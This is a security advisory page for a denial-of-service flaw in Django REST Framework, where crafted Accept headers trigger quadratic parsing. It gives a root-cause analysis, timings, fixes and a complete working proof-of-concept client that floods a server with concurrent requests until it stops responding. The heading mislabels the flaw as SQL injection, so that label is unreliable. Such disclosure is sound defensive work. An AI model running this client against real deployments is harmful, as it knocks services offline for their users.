GHSA-33wh-fxxf-88vv: SQL Injection

Published Oct 22, 2026
·
Updated

Summary

DRF's content negotiation parses each Accept token several times per request and never limits the number of tokens or their total size. Each parse ends up in Django's parseheaderparameters, which takes quadratic time when a quoted parameter value is packed with semicolons. On my machine a single GET with a 780KB Accept header made of 96 such tokens kept one gunicorn worker busy for 18.87 seconds (Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0, Python 3.13, Docker on macOS). The header is syntactically valid, fits inside gunicorn's default header limits, and needs no authentication. Two concurrent requests, which is one per sync worker, made a default two worker deployment stop answering for my whole 40 second test window. It recovered half a second after I stopped sending.

Details

What happens

getacceptlist() splits the Accept header on commas with no cap on token count or total size, at restframework/negotiation.py:96-97.

For every token, selectrenderer() calls mediatypematches() once per renderer, and each call builds fresh MediaType objects for both sides, at restframework/negotiation.py:53-56 and restframework/utils/mediatypes.py:22-23. MediaType.init calls django.utils.http.parseheaderparameters unconditionally, at restframework/utils/mediatypes.py:47.

When nothing matches, DRF raises NotAcceptable (406). Rendering that error response also needs a renderer, so finalizeresponse() runs the entire negotiation a second time through performcontentnegotiation(force=True), at restframework/views.py:434-437.

With the default two renderers this comes to about six parses per Accept token per request. I confirmed the count by instrumenting MediaType with a counter: six per token, three from the normal pass and three from the forced re-negotiation.

The quadratic part is on the Django side. parseheaderparameters splits parameters with parseparam, which handles quoted values by recounting the quote characters from the start of the string for every candidate separator, the s.count('"', 0, end) calls in django/utils/http.py. A quoted value holding k semicolons costs roughly k rescans over k characters, so a single ~8KB value takes about 31ms per parse here.

Numbers from my runs, measured as utime+stime deltas of the server process:

one token, ~9KB: 230ms server CPU 24 tokens, 216KB: 5.07s on runserver, which has no per field limit 48 tokens, 432KB: 10.08s on runserver 96 tokens, 780KB: 18.87s under gunicorn defaults

Wall time matched CPU time in every run, so this is pure CPU work. RSS stayed flat at 57MB throughout, this is a time attack and not a memory one.

A few details that matter for reproducing it:

Django rejects a single media type string longer than 10,000 chars (MAXHEADERLENGTH), so each token has to stay just under that. Going over gives you a ValueError and a 500, which is a different and much weaker problem.

gunicorn defaults are limitrequestfieldsize 8190 and limitrequestfields 100, so the working shape is 96 separate Accept fields with one ~8.1KB token each. That puts the single request ceiling near 19s, below the default 30s worker timeout, so one request alone does not get a stock gunicorn worker killed by the arbiter. It does not need to. Each request pins one sync worker for its full duration, so on two workers, two held connections wedge the service.

orderbyprecedence collects tokens into a set, so identical tokens collapse and the cost mostly disappears. Each token needs its own parameter name, x0=, x1=, x2= and so on.

Where a fix could go, either of these alone would be enough:

Parse each Accept token once per request and reuse the result in the matching loop and in the 406 re-negotiation.

Put an aggregate budget in getacceptlist(), say 8KB total or 64 tokens, and treat anything past it as not acceptable.

The quadratic behavior itself lives in Django's parser, but DRF is the one calling it six times per token with no cap on how many tokens there are, so both fixes look like DRF changes to me.

PoC

Verified end to end on Docker Desktop for macOS (Apple Silicon, 8 cores), python:3.13-slim image, Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0. Nothing was configured beyond defaults.

Minimal target, any default DRF project works, this is the one I used.

requirements.txt:

django==6.1 djangorestframework==3.18.0 gunicorn==26.0.0

pocproj/settings.py: python SECRETKEY = 'poc'; DEBUG = False; ALLOWEDHOSTS = [''] INSTALLEDAPPS = ['django.contrib.contenttypes', 'django.contrib.auth', 'restframework'] ROOTURLCONF = 'pocproj.urls'; WSGIAPPLICATION = 'pocproj.wsgi.application' DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': ':memory:'}} USETZ = True

pocproj/api.py: python from restframework.views import APIView from restframework.response import Response

class Items(APIView): def get(self, request): return Response([{'id': 1, 'name': 'ok'}])

pocproj/urls.py: python from django.urls import path from .api import Items urlpatterns = [path('items/', Items.asview())]

Start it:

python manage.py migrate --noinput gunicorn pocproj.wsgi:application --bind 0.0.0.0:8000 --workers 2

Client, stdlib only, run with python3: python import http.client, threading, time

TARGET = ('localhost', 8000)

def fields(n=96, semis=8100): # 8100 semicolons keeps each field under gunicorn's limitrequestfieldsize # (8190) and each token under Django's MAXHEADERLENGTH (10000). Distinct # x{i} names stop orderbyprecedence from deduplicating the tokens. return [f'text/x-poc{i}; x{i}="' + ';'semis + '"' for i in range(n)]

def burn(): c = http.client.HTTPConnection(TARGET, timeout=120) c.putrequest('GET', '/items/', skipacceptencoding=True) for f in fields(): c.putheader('Accept', f) c.endheaders() r = c.getresponse(); r.read(); c.close() return r.status

t = time.perfcounter() print('single:', burn(), f'{time.perfcounter()-t:.2f}s') printed: single: 406 18.87s, baseline GET on the same endpoint is 0.03s

stop = False

def loop(): while not stop: try: burn() except Exception: pass

ts = [threading.Thread(target=loop, daemon=True) for in range(2)] for x in ts: x.start() for in range(9): time.sleep(2) try: c = http.client.HTTPConnection(TARGET, timeout=3) c.request('GET', '/items/', headers={'Accept': 'application/json'}) r = c.getresponse(); r.read(); c.close() print('health: 200') except Exception as e: print('health: DEAD', type(e).name) stop = True

printed over 40s: health DEAD at t=2, 7, 12, 22, 27, 32, 37, 42, so 8 of 9 probes hit the 3s timeout, and one 200 slipped through at t=17 while a worker was between requests. after stop, one more probe timed out while the in-flight request finished, then 200 in 0.57s.

Impact

Availability only, no confidentiality or integrity impact. Any endpoint the attacker can reach is affected, public ones with no authentication at all. On a stock gunicorn setup with two sync workers, two held connections are enough to stop the service for as long as the attacker keeps them, and one request alone costs about 19 seconds of one core. Recovery is immediate once the attack stops, there is no lasting damage.

The requests are valid HTTP and get answered with 406, so they show up in access logs, but nothing about them is malformed, so filters that look for bad requests will not catch them. DRF throttling runs before content negotiation and would cut the rate if configured, but the default configuration ships with no throttle classes, and each request that does get through still costs the full 19 seconds.

The negotiation structure, meaning the uncapped token split, the per-renderer re-parsing, and the 406 re-negotiation, has been in place since 2012. The call switched to parseheaderparameters in July 2022 in #8556. I verified the behavior on 3.18.0.

Affected Software

1 affected componentFixes available
pip/djangorestframework<3.18.2
3.18.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/djangorestframework to a version that resolves this vulnerability.

    Fixed in 3.18.2
  2. Compensating control

    Parse each Accept token once per request and reuse the parsed result in the renderer-matching loop and the 406 re-negotiation.

  3. Compensating control

    Add an aggregate budget in get_accept_list() of 8KB total or 64 tokens, and treat input exceeding the budget as not acceptable.

Event History

Oct 22, 2026
Advisory Published
via GitHub·04:17 PM
Data Sourced
via GitHub·04:17 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are most exposed to service disruption?

Unauthenticated HTTP endpoints that use Django REST Framework content negotiation are exposed. The issue can exhaust Gunicorn sync workers; the reported test made a default two-worker deployment stop answering when two concurrent requests were sent.

2

What does an attacker need to send?

No authentication is required. An attacker can use a syntactically valid Accept header containing many tokens with quoted parameter values packed with semicolons; the reported header fit within Gunicorn's default header limits.

3

How might this appear operationally?

Gunicorn workers may remain busy processing requests and the service may stop answering while crafted requests continue. In the reported test, the deployment recovered about half a second after the requests stopped.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203